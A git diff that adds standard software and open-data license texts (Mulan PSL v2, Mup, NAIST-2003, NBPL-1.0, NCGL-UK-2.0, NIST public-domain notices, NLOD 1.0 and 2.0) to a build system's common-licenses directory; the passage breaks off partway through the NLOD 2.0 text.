diff --git a/meta/files/common-licenses/MulanPSL-2.0 b/meta/files/common-licenses/MulanPSL-2.0
new file mode 100644
index 0000000000..4e46101296
--- /dev/null
+++ b/meta/files/common-licenses/MulanPSL-2.0
@@ -0,0 +1,131 @@
+
+木兰宽松许可证, 第2版
+
+木兰宽松许可证, 第2版
+
+2020年1月 http://license.coscl.org.cn/MulanPSL2
+
+您对“软件”的复制、使用、修改及分发受木兰宽松许可证,第2版(“本许可证”)的如下条款的约束:
+
+0. 定义
+
+“软件” 是指由“贡献”构成的许可在“本许可证”下的程序和相关文档的集合。
+
+“贡献” 是指由任一“贡献者”许可在“本许可证”下的受版权法保护的作品。
+
+“贡献者” 是指将受版权法保护的作品许可在“本许可证”下的自然人或“法人实体”。
+
+“法人实体” 是指提交贡献的机构及其“关联实体”。
+
+“关联实体” 是指,对“本许可证”下的行为方而言,控制、受控制或与其共同受控制的机构,此处的控制是指有受控方或共同受控方至少50%直接或间接的投票权、资金或其他有价证券。
+
+1. 授予版权许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的版权许可,您可以复制、使用、修改、分发其“贡献”,不论修改与否。
+
+2. 授予专利许可
+
+每个“贡献者”根据“本许可证”授予您永久性的、全球性的、免费的、非独占的、不可撤销的(根据本条规定撤销除外)专利许可,供您制造、委托制造、使用、许诺销售、销售、进口其“贡献”或以其他方式转移其“贡献”。前述专利许可仅限于“贡献者”现在或将来拥有或控制的其“贡献”本身或其“贡献”与许可“贡献”时的“软件”结合而将必然会侵犯的专利权利要求,不包括对“贡献”的修改或包含“贡献”的其他结合。如果您或您的“关联实体”直接或间接地,就“软件”或其中的“贡献”对任何人发起专利侵权诉讼(包括反诉或交叉诉讼)或其他专利维权行动,指控其侵犯专利权,则“本许可证”授予您对“软件”的专利许可自您提起诉讼或发起维权行动之日终止。
+
+3. 无商标许可
+
+“本许可证”不提供对“贡献者”的商品名称、商标、服务标志或产品名称的商标许可,但您为满足第4条规定的声明义务而必须使用除外。
+
+4. 分发限制
+
+您可以在任何媒介中将“软件”以源程序形式或可执行形式重新分发,不论修改与否,但您必须向接收者提供“本许可证”的副本,并保留“软件”中的版权、商标、专利及免责声明。
+
+5. 免责声明与责任限制
+
+“软件”及其中的“贡献”在提供时不带任何明示或默示的担保。在任何情况下,“贡献者”或版权所有者不对任何人因使用“软件”或其中的“贡献”而引发的任何直接或间接损失承担责任,不论因何种原因导致或者基于何种法律理论,即使其曾被建议有此种损失的可能性。
+
+6. 语言
+
+“本许可证”以中英文双语表述,中英文版本具有同等法律效力。如果中英文版本存在任何冲突不一致,以中文版为准。
+
+条款结束
+
+如何将木兰宽松许可证,第2版,应用到您的软件
+
+如果您希望将木兰宽松许可证,第2版,应用到您的新软件,为了方便接收者查阅,建议您完成如下三步:
+
+1, 请您补充如下声明中的空白,包括软件名、软件的首次发表年份以及您作为版权人的名字;
+
+2, 请您在软件包的一级目录下创建以“LICENSE”为名的文件,将整个许可证文本放入该文件中;
+
+3, 请将如下声明文本放入每个源文件的头部注释中。
+
+Copyright (c) [Year] [name of copyright holder]
+[Software Name] is licensed under Mulan PSL v2.
+You can use this software according to the terms and conditions of the Mulan PSL v2.
+You may obtain a copy of Mulan PSL v2 at:
+ http://license.coscl.org.cn/MulanPSL2
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
+EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
+MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v2 for more details.
+
+Mulan Permissive Software License,Version 2
+
+Mulan Permissive Software License,Version 2 (Mulan PSL v2)
+
+January 2020 http://license.coscl.org.cn/MulanPSL2
+
+Your reproduction, use, modification and distribution of the Software shall be subject to Mulan PSL v2 (this License) with the following terms and conditions:
+
+0. Definition
+
+Software means the program and related documents which are licensed under this License and comprise all Contribution(s).
+
+Contribution means the copyrightable work licensed by a particular Contributor under this License.
+
+Contributor means the Individual or Legal Entity who licenses its copyrightable work under this License.
+
+Legal Entity means the entity making a Contribution and all its Affiliates.
+
+Affiliates means entities that control, are controlled by, or are under common control with the acting entity under this License, ‘control’ means direct or indirect ownership of at least fifty percent (50%) of the voting power, capital or other securities of controlled or commonly controlled entity.
+
+1. Grant of Copyright License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable copyright license to reproduce, use, modify, or distribute its Contribution, with modification or not.
+
+2. Grant of Patent License
+
+Subject to the terms and conditions of this License, each Contributor hereby grants to you a perpetual, worldwide, royalty-free, non-exclusive, irrevocable (except for revocation under this Section) patent license to make, have made, use, offer for sale, sell, import or otherwise transfer its Contribution, where such patent license is only limited to the patent claims owned or controlled by such Contributor now or in future which will be necessarily infringed by its Contribution alone, or by combination of the Contribution with the Software to which the Contribution was contributed. The patent license shall not apply to any modification of the Contribution, and any other combination which includes the Contribution. If you or your Affiliates directly or indirectly institute patent litigation (including a cross claim or counterclaim in a litigation) or other patent enforcement activities against any individual or entity by alleging that the Software or any Contribution in it infringes patents, then any patent license granted to you under this License for the Software shall terminate as of the date such litigation or activity is filed or taken.
+
+3. No Trademark License
+
+No trademark license is granted to use the trade names, trademarks, service marks, or product names of Contributor, except as required to fulfill notice requirements in section 4.
+
+4. Distribution Restriction
+
+You may distribute the Software in any medium with or without modification, whether in source or executable forms, provided that you provide recipients with a copy of this License and retain copyright, patent, trademark and disclaimer statements in the Software.
+
+5. Disclaimer of Warranty and Limitation of Liability
+
+THE SOFTWARE AND CONTRIBUTION IN IT ARE PROVIDED WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED. IN NO EVENT SHALL ANY CONTRIBUTOR OR COPYRIGHT HOLDER BE LIABLE TO YOU FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO ANY DIRECT, OR INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING FROM YOUR USE OR INABILITY TO USE THE SOFTWARE OR THE CONTRIBUTION IN IT, NO MATTER HOW IT’S CAUSED OR BASED ON WHICH LEGAL THEORY, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Language
+
+THIS LICENSE IS WRITTEN IN BOTH CHINESE AND ENGLISH, AND THE CHINESE VERSION AND ENGLISH VERSION SHALL HAVE THE SAME LEGAL EFFECT. IN THE CASE OF DIVERGENCE BETWEEN THE CHINESE AND ENGLISH VERSIONS, THE CHINESE VERSION SHALL PREVAIL.
+
+END OF THE TERMS AND CONDITIONS
+
+How to Apply the Mulan Permissive Software License,Version 2 (Mulan PSL v2) to Your Software
+
+To apply the Mulan PSL v2 to your work, for easy identification by recipients, you are suggested to complete following three steps:
+
+i. Fill in the blanks in following statement, including insert your software name, the year of the first publication of your software, and your name identified as the copyright owner;
+ii. Create a file named "LICENSE" which contains the whole context of this License in the first directory of your software package;
+iii. Attach the statement to the appropriate annotated syntax at the beginning of each source file.
+
+Copyright (c) [Year] [name of copyright holder]
+[Software Name] is licensed under Mulan PSL v2.
+You can use this software according to the terms and conditions of the Mulan PSL v2.
+You may obtain a copy of Mulan PSL v2 at:
+ http://license.coscl.org.cn/MulanPSL2
+THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
+EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
+MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
+See the Mulan PSL v2 for more details.
+
diff --git a/meta/files/common-licenses/Mup b/meta/files/common-licenses/Mup
new file mode 100644
index 0000000000..57c163a401
--- /dev/null
+++ b/meta/files/common-licenses/Mup
@@ -0,0 +1,13 @@
+Copyright (c) 1995-2012 by Arkkra Enterprises. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following DISCLAIMER.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following DISCLAIMER in the documentation and/or other materials provided with the distribution.
+
+3. Any additions, deletions, or changes to the original files must be clearly indicated in accompanying documentation. including the reasons for the changes, and the names of those who made the modifications.
+
+DISCLAIMER
+
+THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/NAIST-2003 b/meta/files/common-licenses/NAIST-2003
new file mode 100644
index 0000000000..40d27d3287
--- /dev/null
+++ b/meta/files/common-licenses/NAIST-2003
@@ -0,0 +1,70 @@
+Copyright 2000, 2001, 2002, 2003 Nara Institute of Science
+and Technology. All Rights Reserved.
+
+Use, reproduction, and distribution of this software is permitted.
+Any copy of this software, whether in its original form or modified,
+must include both the above copyright notice and the following
+paragraphs.
+
+Nara Institute of Science and Technology (NAIST),
+the copyright holders, disclaims all warranties with regard to this
+software, including all implied warranties of merchantability and
+fitness, in no event shall NAIST be liable for
+any special, indirect or consequential damages or any damages
+whatsoever resulting from loss of use, data or profits, whether in an
+action of contract, negligence or other tortuous action, arising out
+of or in connection with the use or performance of this software.
+
+A large portion of the dictionary entries
+originate from ICOT Free Software. The following conditions for ICOT
+Free Software applies to the current dictionary as well.
+
+Each User may also freely distribute the Program, whether in its
+original form or modified, to any third party or parties, PROVIDED
+that the provisions of Section 3 ("NO WARRANTY") will ALWAYS appear
+on, or be attached to, the Program, which is distributed substantially
+in the same form as set out herein and that such intended
+distribution, if actually made, will neither violate or otherwise
+contravene any of the laws and regulations of the countries having
+jurisdiction over the User or the intended distribution itself.
+
+NO WARRANTY
+
+The program was produced on an experimental basis in the course of the
+research and development conducted during the project and is provided
+to users as so produced on an experimental basis. Accordingly, the
+program is provided without any warranty whatsoever, whether express,
+implied, statutory or otherwise. The term "warranty" used herein
+includes, but is not limited to, any warranty of the quality,
+performance, merchantability and fitness for a particular purpose of
+the program and the nonexistence of any infringement or violation of
+any right of any third party.
+
+Each user of the program will agree and understand, and be deemed to
+have agreed and understood, that there is no warranty whatsoever for
+the program and, accordingly, the entire risk arising from or
+otherwise connected with the program is assumed by the user.
+
+Therefore, neither ICOT, the copyright holder, or any other
+organization that participated in or was otherwise related to the
+development of the program and their respective officials, directors,
+officers and other employees shall be held liable for any and all
+damages, including, without limitation, general, special, incidental
+and consequential damages, arising out of or otherwise in connection
+with the use or inability to use the program or any product, material
+or result produced or otherwise obtained by using the program,
+regardless of whether they have been advised of, or otherwise had
+knowledge of, the possibility of such damages at any time during the
+project or thereafter. Each user will be deemed to have agreed to the
+foregoing by his or her commencement of use of the program. The term
+"use" as used herein includes, but is not limited to, the use,
+modification, copying and distribution of the program and the
+production of secondary products from the program.
+
+In the case where the program, whether in its original form or
+modified, was distributed or delivered to or received by a user from
+any person, organization or entity other than ICOT, unless it makes or
+grants independently of ICOT any specific warranty to the user in
+writing, such person, organization or entity, will also be exempted
+from and not be held liable to the user for any such damages as noted
+above as far as the program is concerned.
diff --git a/meta/files/common-licenses/NBPL-1.0 b/meta/files/common-licenses/NBPL-1.0
new file mode 100644
index 0000000000..f6bf87992f
--- /dev/null
+++ b/meta/files/common-licenses/NBPL-1.0
@@ -0,0 +1,59 @@
+The Net Boolean Public License
+
+Version 1, 22 August 1998 Copyright 1998, Net Boolean Incorporated, Redwood City, California, USA All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. Its terms are different from those of the "Artistic License."
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/NCGL-UK-2.0 b/meta/files/common-licenses/NCGL-UK-2.0
new file mode 100644
index 0000000000..31fbad6f83
--- /dev/null
+++ b/meta/files/common-licenses/NCGL-UK-2.0
@@ -0,0 +1,67 @@
+Non-Commercial Government Licence
+for public sector information
+
+You are encouraged to use and re-use the Information that is available under this licence freely and flexibly, with only a few conditions.
+
+Using information under this licence
+
+Use of copyright and database right material expressly made available under this licence (the ‘Information’) indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information for Non-Commercial purposes only subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+ copy, publish, distribute and transmit the Information;
+ adapt the Information;
+ exploit the Information for Non-Commercial purposes for example, by combining it with other information in your own product or application.
+
+You are not permitted to:
+ exercise any of the rights granted to you by this licence in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation.
+
+You must, where you do any of the above:
+ acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+
+If the Information Provider does not provide a specific attribution statement, you must use the following:
+ Contains information licensed under the Non-Commercial Government Licence v2.0.
+
+If you are using Information from several Information Providers and listing multiple attributions is not practical in your product or application, you may include a URI or hyperlink to a resource that contains the required attribution statements.
+ ensure that any onward licensing of the Information – for example when combined with other information – is for Non-Commercial purposes only.
+
+These are important conditions of this licence and if you fail to comply with them or use the Information other than for Non-Commercial purposes the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+Exemptions
+
+This licence does not cover the use of:
+ • personal data in the Information;
+ • Information that has not been accessed by way of publication or disclosure under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+ • departmental or public sector organisation logos, crests, military insignia and the Royal Arms except where they form an integral part of a document or dataset;
+ • military insignia
+ • third party rights the Information Provider is not authorised to license;
+ • other intellectual property rights, including patents, trade marks, and design rights; and
+ • identity documents such as the British Passport.
+
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider and/or Licensor endorse you or your use of the Information.
+
+No warranty
+The Information is licensed ‘as is’ and the Information Provider excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+The Information Provider is not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+In this licence the terms below have the following meanings:
+
+‘Information’ means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+‘Information Provider’ means the person or organisation providing the Information under this licence.
+
+‘Licensor’ means any Information Provider which has the authority to offer Information under the terms of this licence or the Keeper of the Public Records, who has the authority to offer Information subject to Crown copyright and Crown database rights and Information subject to copyright and database right that has been assigned to or acquired by the Crown, under the terms of this licence.
+
+‘Non-Commercial purposes’ means not intended for or directed toward commercial advantage or private monetary compensation. For the purposes of this licence, ‘private monetary compensation’ does not include the exchange of the Information for other copyrighted works by means of digital file-sharing or otherwise provided there is no payment of any monetary compensation in connection with the exchange of the Information.
+
+‘Use’ as a verb, means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+‘You’ means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
diff --git a/meta/files/common-licenses/NIST-PD b/meta/files/common-licenses/NIST-PD
new file mode 100644
index 0000000000..e1a4e65bab
--- /dev/null
+++ b/meta/files/common-licenses/NIST-PD
@@ -0,0 +1,15 @@
+Terms Of Use
+
+This software was developed by employees of the National Institute of Standards
+and Technology (NIST), and others. This software has been contributed to the
+public domain. Pursuant to title 15 Untied States Code Section 105, works of
+NIST employees are not subject to copyright protection in the United States and
+are considered to be in the public domain. As a result, a formal license is
+not needed to use this software.
+
+This software is provided "AS IS." NIST MAKES NO WARRANTY OF ANY KIND, EXPRESS,
+IMPLIED OR STATUTORY, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTY OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT AND DATA
+ACCURACY. NIST does not warrant or make any representations regarding the use
+of the software or the results thereof, including but not limited to the
+correctness, accuracy, reliability or usefulness of this software.
diff --git a/meta/files/common-licenses/NIST-PD-fallback b/meta/files/common-licenses/NIST-PD-fallback
new file mode 100644
index 0000000000..49f91bce1f
--- /dev/null
+++ b/meta/files/common-licenses/NIST-PD-fallback
@@ -0,0 +1,5 @@
+Conditions of Use
+
+This software was developed by employees of the National Institute of Standards and Technology (NIST), an agency of the Federal Government and is being made available as a public service. Pursuant to title 17 United States Code Section 105, works of NIST employees are not subject to copyright protection in the United States. This software may be subject to foreign copyright. Permission in the United States and in foreign countries, to the extent that NIST may hold copyright, to use, copy, modify, create derivative works, and distribute this software and its documentation without fee is hereby granted on a non-exclusive basis, provided that this notice and disclaimer of warranty appears in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY OF ANY KIND, EITHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY THAT THE SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND FREEDOM FROM INFRINGEMENT, AND ANY WARRANTY THAT THE DOCUMENTATION WILL CONFORM TO THE SOFTWARE, OR ANY WARRANTY THAT THE SOFTWARE WILL BE ERROR FREE. IN NO EVENT SHALL NIST BE LIABLE FOR ANY DAMAGES, INCLUDING, BUT NOT LIMITED TO, DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES, ARISING OUT OF, RESULTING FROM, OR IN ANY WAY CONNECTED WITH THIS SOFTWARE, WHETHER OR NOT BASED UPON WARRANTY, CONTRACT, TORT, OR OTHERWISE, WHETHER OR NOT INJURY WAS SUSTAINED BY PERSONS OR PROPERTY OR OTHERWISE, AND WHETHER OR NOT LOSS WAS SUSTAINED FROM, OR AROSE OUT OF THE RESULTS OF, OR USE OF, THE SOFTWARE OR SERVICES PROVIDED HEREUNDER.
diff --git a/meta/files/common-licenses/NLOD-1.0 b/meta/files/common-licenses/NLOD-1.0
new file mode 100644
index 0000000000..b0b0767e38
--- /dev/null
+++ b/meta/files/common-licenses/NLOD-1.0
@@ -0,0 +1,79 @@
+Norwegian Licence for Open Government Data (NLOD) 1.0
+
+Preface of licence
+
+This licence grants you the right to copy, use and distribute information, provided you acknowledge the contributors and comply with the terms and conditions stipulated in this licence. By using information made available under this licence, you accept the terms and conditions set forth in this licence. As set out in Section 7, the licensor disclaims any and all liability for the quality of the information and what the information is used for.
+
+This licence shall not impose any limitations on the rights or freedoms of the licensee under the Norwegian Freedom of Information Act or any other legislation granting the general public a right of access to public sector information, or that follow from exemptions or limitations stipulated in the Norwegian Copyright Act. Further, the licence shall not impose any limitations on the licensee's freedom of expression recognized by law.
+
+1. Definitions
+
+ «Database» shall mean a database or similar protected under Section 43 of the Norwegian Copyright Act.
+ «Information» shall mean texts, images, recordings, data sets or other works protected under Section 1 of the Norwegian Copyright Act, or which are protected under provisions addressing what is referred to as «neighbouring rights» in Chapter 5 of the Norwegian Copyright Act (including databases and photographs), and which are distributed under this licence.
+ «Copy» shall mean reproduction in any form.
+ «Licensee» and «you» shall mean natural or legal persons using information under this licence.
+ «Licensor» shall mean the natural or legal person that makes information available under this licence.
+ «Distribute» shall mean any actions whereby information is made available, including to distribute, transfer, communicate, disperse, show, perform, sell, lend and rent.
+ «Use» shall mean one or more actions relevant to copyright law requiring permission from the owner of the copyright.
+
+2. Licence
+The licensee, subject to the limitations that follow from this licence, may use the information for any purpose and in all contexts, by:
+
+ * copying the information and distributing the information to others,
+ * modifying the information and/or combining the information with other information, and
+ * copying and distributing such changed or combined information.
+ * This is a non-exclusive, free, perpetual and worldwide licence. The information may be used in any medium and format known today and/or which will become known in the future. The Licensee shall not sub-license or transfer this licence.
+
+3. Exemptions
+The licence does not apply to and therefore does not grant a right to use:
+
+ * information which contains personal data covered by the Norwegian Personal Data Act unless there is a legitimate basis for the disclosure and further processing of the personal data
+ * information distributed in violation of a statutory obligation to observe confidentiality
+ * information excluded from public disclosure pursuant to law, including information deemed sensitive under the Norwegian National Security Act
+ * information subject to third party rights which the licensor is not authorised to license to the licensee
+ * information protected by intellectual property rights other than copyright and neighbouring rights in accordance with Chapter 5 of the Norwegian Copyright Act, such as trademarks, patents and design rights, but this does not entail an impediment to use information where the licensor's logo has been permanently integrated into the information or to attribute the origin of the information in accordance with the article below relating to attribution.
+
+If the licensor has made available information not covered by the licence according to the above list, the licensee must cease all use of the information under the licence, and erase the information as soon as he or she becomes aware of or should have understood that the information is not covered by the licence.
+
+4. Effects of breach of the licence
+The licence is subject to the licensee's compliance with the terms and conditions of this licence. In the event that the licensee commits a breach of this licence, this will entail that the licensee's right to use the information will be revoked immediately without further notice. In case of such a breach, the licensee must immediately and without further notice take measures to cause the infringement to end. Because the right to use the information has been terminated, the licensee must cease all use of the information by virtue of the licence.
+
+5. Attribution
+The licensee shall attribute the licensor as specified by the licensor and include a reference to this licence. To the extent practically possible, the licensee shall provide a link to both this licence and the source of the information.
+
+If the licensor has not specified how attributions shall be made, the licensee shall normally state the following: «Contains data under the Norwegian licence for Open Government data (NLOD) distributed by [name of licensor]».
+
+If the licensor has specified that the information shall only be available under a specific version of this licence, cf. Section 10, the licensee shall also state this.
+
+If the information has been changed, the licensee must clearly indicate that changes have been made by the licensee.
+
+6. Proper use
+The licensee shall not use the information in a manner that appears misleading nor present the information in a distorted or incorrect manner.
+Neither the licensor's nor other contributors' names or trademarks must be used to support, recommend or market the licensee or any products or services using the information.
+
+7. Disclaimer of liability
+The information is licensed «as is». The information may contain errors and omissions. The licensor provides no warranties, including relating to the content and relevance of the information.
+
+The licensor disclaims any liability for errors and defects associated with the information to the maximum extent permitted by law.
+
+The licensor shall not be liable for direct or indirect losses as a result of use of the information or in connection with copying or further distribution of the information.
+
+8. Guarantees regarding data quality and accessibility
+This licence does not prevent the licensor from issuing supplementary statements regarding expected or intended data quality and accessibility. Such statements shall be regarded as indicative in nature and not binding on the part of the licensor. The disclaimers in Section 7 also apply in full for such indicative statements. Based on separate agreement, the licensor may provide guarantees and distribute the information on terms and conditions different from those set forth in this licence.
+
+9. Licence compatibility
+If the licensee is to distribute an adapted or combined work based on information covered by this licence and some other work licensed under a licence compatible by contract, such distribution may be based on an appropriate licence compatible by contract, cf. the list below.
+
+A licence compatible by contract shall mean the following licences:
+
+ * for all information: Open Government Licence (version 1.0),
+ * for those parts of the information which do not constitute databases: Creative Commons Attribution Licence (generic version 1.0, 2.0, 2.5 and unported version 3.0) and Creative Commons Navngivelse 3.0 Norge,
+ * for those parts of the information which constitute databases: Open Data Commons Attribution License (version 1.0).
+
+This provision does not prevent other licences from being compatible with this licence based on their content.
+
+10. New versions of the licence
+The licensee may choose to use the information covered by this licence under any new versions of the Norwegian licence for Open Government data (NLOD) issued by the responsible ministry (currently the Ministry of Government Administration, Reform and Church Affairs) when these versions are final and official, unless the licensor when making the information available under this licence specifically has stated that solely version 1.0 of this licence may be used.
+
+11. Governing law and legal venue
+This licence, including its formation, and any disputes and claims arising in connection with or relating to this licence, shall be regulated by Norwegian law. The legal venue shall be the licensor's ordinary legal venue. The licensor may, with regard to intellectual proprietary rights, choose to pursue a claim at other competent legal venues and/or based on the laws of the country where the intellectual property rights are sought enforced.
diff --git a/meta/files/common-licenses/NLOD-2.0 b/meta/files/common-licenses/NLOD-2.0
new file mode 100644
index 0000000000..6233940c11
--- /dev/null
+++ b/meta/files/common-licenses/NLOD-2.0
@@ -0,0 +1,80 @@
+Norwegian Licence for Open Government Data (NLOD) 2.0
+
+Preface of licence
+
+This licence grants you the right to copy, use and distribute information, provided you acknowledge the contributors and comply with the terms and conditions stipulated in this licence. By using information made available under this licence, you accept the terms and conditions set forth in this licence. As set out in Section 7, the licensor disclaims any and all liability for the quality of the information and what the information is used for.
+
+This licence shall not impose any limitations on the rights or freedoms of the licensee under the Norwegian Freedom of Information Act or any other legislation granting the general public a right of access to public sector information, or that follow from exemptions or limitations stipulated in the Norwegian Copyright Act. Further, the licence shall not impose any limitations on the licensee’s freedom of expression recognized by law.
+
+1. Definitions
+
+ «Database» shall mean a database or similar protected under Section 43 of the Norwegian Copyright Act.
+ «Information» shall mean texts, images, recordings, data sets or other works protected under Section 1 of the Norwegian Copyright Act, or which are protected under provisions addressing what is referred to as «neighbouring rights» in Chapter 5 of the Norwegian Copyright Act (including databases and photographs), and which are distributed under this licence.
+ «Copy» shall mean reproduction in any form.
+ «Licensee» and «you» shall mean natural or legal persons using information under this licence.
+ «Licensor» shall mean the natural or legal person that makes information available under this licence.
+ «Distribute» shall mean any actions whereby information is made available, including to distribute, transfer, communicate, disperse, show, perform, sell, lend and rent.
+ «Use» shall mean one or more actions relevant to copyright law requiring permission from the owner of the copyright.
+
+2. Licence
+The licensee, subject to the limitations that follow from this licence, may use the information for any purpose and in all contexts, by:
+
+ * copying the information and distributing the information to others,
+ * modifying the information and/or combining the information with other information, and
+ * copying and distributing such changed or combined information.
+
+This is a non-exclusive, free, perpetual and worldwide licence. The information may be used in any medium and format known today and/or which will become known in the future. The Licensee shall not sub-license or transfer this licence.
+
+3. Exemptions
+The licence does not apply to and therefore does not grant a right to use:
+
+ * information which contains personal data covered by the Norwegian Personal Data Act unless there is a legitimate basis for the disclosure and further processing of the personal data
+ * information distributed in violation of a statutory obligation to observe confidentiality
+ * information excluded from public disclosure pursuant to law, including information deemed sensitive under the Norwegian National Security Act
+ * information subject to third party rights which the licensor is not authorised to license to the licensee
+ * information protected by intellectual property rights other than copyright and neighbouring rights in accordance with Chapter 5 of the Norwegian Copyright Act, such as trademarks, patents and design rights, but this does not entail an impediment to use information where the licensor’s logo has been permanently integrated into the information or to attribute the origin of the information in accordance with the article below relating to attribution.
+
